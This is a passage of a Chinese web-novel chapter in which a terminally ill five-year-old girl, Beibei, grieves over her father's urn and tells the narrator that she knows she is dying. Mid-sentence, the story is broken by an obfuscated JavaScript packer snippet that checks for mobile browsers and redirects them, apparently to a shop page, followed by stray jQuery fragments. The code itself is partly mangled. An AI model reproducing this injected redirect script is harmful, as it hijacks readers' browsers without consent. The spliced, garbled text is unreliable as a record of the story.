粗糙的布料。

    房间里很安静。能听见楼下院子里孩子们的打闹声，远处马路上车辆的喇叭声，还有我们自己呼吸的声音。

    “爸爸以前说过，”贝贝突然开口，声音依然很小，但很清晰，“如果他死了，不要买贵的骨灰盒。他说，把钱省下来，给我买药。”

    我的喉咙哽住了。

    “他说，骨灰就是一把灰，装在金盒子里和装在木盒子里，都一样。”她继续说着，像在复述一段背熟的话，“他说，人死了就什么都没了，不用花冤枉钱。”

    她抬起头，看着我：“叔叔，这个盒子贵吗？”

    我摇摇头，说不出话。

    “那就好。”她似乎松了口气，“爸爸不喜欢浪费钱。”

    然后她开始解布袋的带子。她的手很小，手指细得像竹竿，动作却很稳，一点一点地解开那个死结。布袋打开，露出里面那个廉价的木盒子。标签朝上：“B-347。姓名：金卫国。”

    她看着那个标签，看了很久。然后她伸出手，用指尖轻轻地、小心翼翼地触摸那三个字，像在触摸什么易碎的珍宝。

    “爸爸的名字。”她轻声说。

    我别过头，看着墙壁。墙壁上有一片水渍，形状像一张哭泣的脸。

    “叔叔，”她又叫我，“爸爸走的时候……说什么了吗？”

    我想起老金最后的话：“如果有一天，我做了什么傻事，帮我照顾好贝贝。”

    “他说，”我的声音嘶哑得不成样子，“让你好好吃药，好好长大。”

    贝贝沉默了一会儿，然后说：“爸爸骗人。”

    我一愣。

    “他以前答应过我，会陪我过十六岁生日。”她说，语气很平静，像在陈述一个事实，“他说等我十六岁了，他就带我去看海。他说海很大，很蓝，跟天连在一起。他说他年轻的时候去过一次，一直想再去，但没机会。他说等我十六岁了，我们一起去。”

    她把骨灰盒抱得更紧了：“但他等不到了。我也等不到了。”

    “贝贝……”

    “我知道我快死了。”她打断我，抬起头，看着我。她的眼神清澈得可怕，像一潭深不见底但极其透明的水，“医生说的。我偷听到的。他说我的肺动脉高压已经到晚期了，心脏扩大得很厉害，可能……撑不过今年冬天。”

    我张着嘴，却发不出任何声音。世界在我眼前旋转，墙壁，床铺，窗户，都扭曲成奇怪的形状。

    “爸爸也知道。”她继续说，“所以他才会去卖肾，才会去……做那件事。他想给我攒钱做手术，但我知道，手术也没用。医生说了，我的情况，手术成功率不到百分之十。而且手术费要五十万。五十万……爸爸捡一辈子瓶子也挣不到。”

    她把脸贴在骨灰盒上，闭上眼睛：“所以爸爸先走了。他不忍心看我死。”

    房间里又陷入沉默。但这次沉默不一样，不再是空白的沉默，而是被填满了某种沉重得几乎实质化的东西。那是真相，是绝望，是一个十

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17016472|194201||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    五岁女孩对死亡的全部理解，以及她对父亲最后选择的全部谅解。

    我不知道过了多久，也许一分钟，也许十分钟。最后，贝贝睁开